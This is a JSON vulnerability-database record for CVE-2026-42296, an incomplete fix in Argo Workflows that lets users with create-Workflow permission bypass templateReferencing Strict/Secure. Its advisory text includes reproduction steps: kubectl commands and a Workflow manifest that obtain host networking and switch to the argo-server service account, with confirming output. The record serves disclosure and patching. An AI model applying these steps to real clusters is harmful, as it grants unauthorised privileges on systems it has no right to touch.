{"id":"CVE-2026-42296","aliases":["CVE-2026-42296","GHSA-3775-99mw-8rp4","BIT-ARGO-WORKFLOWS-2026-42296","GO-2026-5072"],"related":[],"kind":"vulnerability","state":"published","title":"Argo Workflows has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure","summary":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.7.14 and 4.0.5, a user with create Workflow permission can bypass templateReferencing: Strict to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature. The practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like hostNetwork). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed. This issue has been patched in versions 3.7.14 and 4.0.5.","source":"cvelist"},{"lang":"en","text":"The fix for CVE-2026-31892 (commit 534f4ff) blocks `podSpecPatch` when `templateReferencing: Strict` is active, but doesn't restrict other WorkflowSpec fields that flow through the same merge path and get applied to pods. A user can set `hostNetwork: true`, override `serviceAccountName`, or change `securityContext` on their Workflow while referencing a hardened template -- these survive `JoinWorkflowSpec` and get applied at pod creation.\n\nThe check in `setExecWorkflow` gates on `HasPodSpecPatch()` only:\n\n```go\nif woc.controller.Config.WorkflowRestrictions.MustUseReference() && woc.wf.Spec.HasPodSpecPatch() {\n```\n\nEverything else passes through. `createWorkflowPod` reads `hostNetwork`, `securityContext`, `serviceAccountName`, `tolerations`, and `automountServiceAccountToken` from the merged spec and applies them directly to the pod.\n\n`JoinWorkflowSpec` constructs the merge target from the user's spec and applies the template as a patch -- user fields take priority. When the template doesn't explicitly set a field like `hostNetwork` (most won't -- `false` is the zero value and gets omitted), the user's `true` survives. For fields like `securityContext` and `serviceAccountName`, the template-level value takes precedence IF the template explicitly sets it. The bypass applies when the template relies on defaults.\n\nBoth `Strict` and `Secure` modes are affected. `Secure` stores the merged spec on first submission, so user overrides get baked into the stored spec and subsequent `MustNotChangeSpec` comparisons pass.\n\n## Steps to reproduce\n\nTested on v4.0.2 (the CVE-2026-31892 patched version) on kind v0.27.0 / K8s v1.35.0.\n\n```bash\n# enable strict mode\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n  -p '{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}'\nkubectl rollout restart deployment workflow-controller -n argo\n```\n\nA template that lists network interfaces:\n\n```bash\ncat <<'EOF' | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: netcheck\nspec:\n  entrypoint: check\n  templates:\n  - name: check\n    container:\n      image: alpine:latest\n      command: [\"/bin/sh\", \"-c\"]\n      args: [\"ip addr show | grep -E '^[0-9]+:' | cut -d: -f2\"]\nEOF\n```\n\nSubmit a workflow with `hostNetwork: true`:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: bypass-\nspec:\n  workflowTemplateRef:\n    name: netcheck\n  hostNetwork: true\nEOF\n```\n\nPod gets host networking:\n\n```\n$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-bmg9b -o jsonpath='{.items[0].spec.hostNetwork}'\ntrue\n```\n\nContainer without the override sees `eth0@if20`. With the override, the pod sees the host's full network namespace -- all veth interfaces for other containers on the node.\n\n`podSpecPatch` IS correctly blocked on the same cluster:\n\n```\n$ kubectl get workflow patched-check-jd272 -n argo -o jsonpath='{.status.message}'\npodSpecPatch is not permitted when using workflowTemplateRef with templateReferencing restriction\n```\n\n`serviceAccountName` override also works -- a workflow with `serviceAccountName: argo-server` creates a pod running under the `argo-server` SA instead of the namespace default:\n\n```\n$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-sa-slmjs -o jsonpath='{.items[0].spec.serviceAccountName}'\nargo-server\n```\n\nTested in Secure mode as well -- same result. Pod created with `hostNetwork: true` before the workflow errors on an unrelated permission issue.\n\n## Impact\n\nA user with `create Workflow` permission can bypass `templateReferencing: Strict` to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature.\n\nThe practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like `hostNetwork`). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed.\n\n## Fix direction\n\nThe check in `setExecWorkflow` should cover all WorkflowSpec fields that influence pod security posture, not just `podSpecPatch`. The affected fields that I confirmed in `createWorkflowPod`: `hostNetwork`, `securityContext`, `serviceAccountName`, `automountServiceAccountToken`, `tolerations`, `dnsPolicy`, `schedulerName`, `hostAliases`, `volumes`.\n\nAn alternative approach: when `MustUseReference()` is true, strip all user-set WorkflowSpec fields except a known-safe allowlist (entrypoint, arguments, labels, annotations) before merging. This avoids a growing denylist as new fields get added.\n\n## Affected versions\n\nAll versions supporting `templateReferencing`, including v4.0.2 and v3.7.11 which patched CVE-2026-31892.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Argo has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure in github.com/argoproj/argo-workflows","format":"markdown","source":"go"},{"lang":"es","text":"Argo Workflows es un motor de flujo de trabajo de código abierto nativo de contenedores para orquestar trabajos paralelos en Kubernetes. Antes de las versiones 3.7.14 y 4.0.5, un usuario con permiso para crear flujos de trabajo (Workflow) puede eludir templateReferencing: Strict para obtener acceso a la red del host, cambiar cuentas de servicio, anular el contexto de seguridad del pod, añadir tolerancias para programar en nodos del plano de control, o habilitar el montaje de tokens de SA. Esto anula el propósito declarado de la característica. El impacto práctico depende de los controles a nivel de Kubernetes que estén implementados. Los clústeres con admisión de PodSecurity o OPA/Gatekeeper bloquearían independientemente algunos de estos (como hostNetwork). Los clústeres que dependen del modo Strict de Argo como capa de aplicación principal están completamente expuestos. Este problema ha sido parcheado en las versiones 3.7.14 y 4.0.5.","source":"nvd"}],"published":"2026-05-04T20:11:38.000Z","modified":"2026-09-08T08:45:36.237Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"HIGH"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"version":"< 3.7.14","status":"affected"},{"version":">= 4.0.0, < 4.0.5","status":"affected"}],"vendor":"argoproj","product":"argo-workflows","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-api-server-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-driver-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-launcher-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-persistenceagent-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-scheduledworkflow-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.7.14"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v3","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.0.5"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v4","purl":"pkg:golang/github.com/argoproj/argo-workflows/v4","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows","purl":"pkg:golang/github.com/argoproj/argo-workflows","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v2","purl":"pkg:golang/github.com/argoproj/argo-workflows/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.7.14"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v3","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3","source":"go"},{"ranges":[{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.0.5"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v4","purl":"pkg:golang/github.com/argoproj/argo-workflows/v4","source":"go"},{"ranges":[{"status":"affected","fixed":"3.7.14"},{"status":"affected","introduced":"4.0.0","fixed":"4.0.5"}],"vendor":"argoproj","product":"argo_workflows","cpe":"cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.7.14"},{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.0.5"}],"ecosystem":"Bitnami","package":"argo-workflows","purl":"pkg:bitnami/argo-workflows","source":"bitnami"}],"references":[{"url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3775-99mw-8rp4","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/commit/534f4ff1cbd86908e8ff76d97d553ad5a49a950d","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/releases/tag/v3.7.14","tags":["article","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5","tags":["article","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42296","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2468446","tags":["issue-tracking","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42296.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrr","tags":["web"],"sources":["ghsa","go"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42296","tags":["advisory","web"],"sources":["ghsa","go","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows/commit/2727f3f701677d467dfb5e053c57237cbc752c3c","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/argoproj/argo-workflows","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-05-12T17:51:11.816Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42296","url":"https://www.cve.org/CVERecord?id=CVE-2026-42296","licence":"CVE Terms of Use","modified":"2026-07-15T00:57:44.228Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3775-99mw-8rp4","url":"https://github.com/advisories/GHSA-3775-99mw-8rp4","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:36.204Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5072","url":"https://pkg.go.dev/vuln/GO-2026-5072","licence":"CC-BY-4.0","modified":"2026-06-25T18:56:36.204Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42296","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-ARGO-WORKFLOWS-2026-42296","url":"https://osv.dev/vulnerability/BIT-ARGO-WORKFLOWS-2026-42296","licence":"Apache-2.0","modified":"2026-09-08T08:45:36.237Z"}],"updatedAt":"2026-11-25T22:59:21.136Z","epss":{"score":0.00424,"percentile":0.38682,"date":"2026-12-01T12:00:22.000Z"}}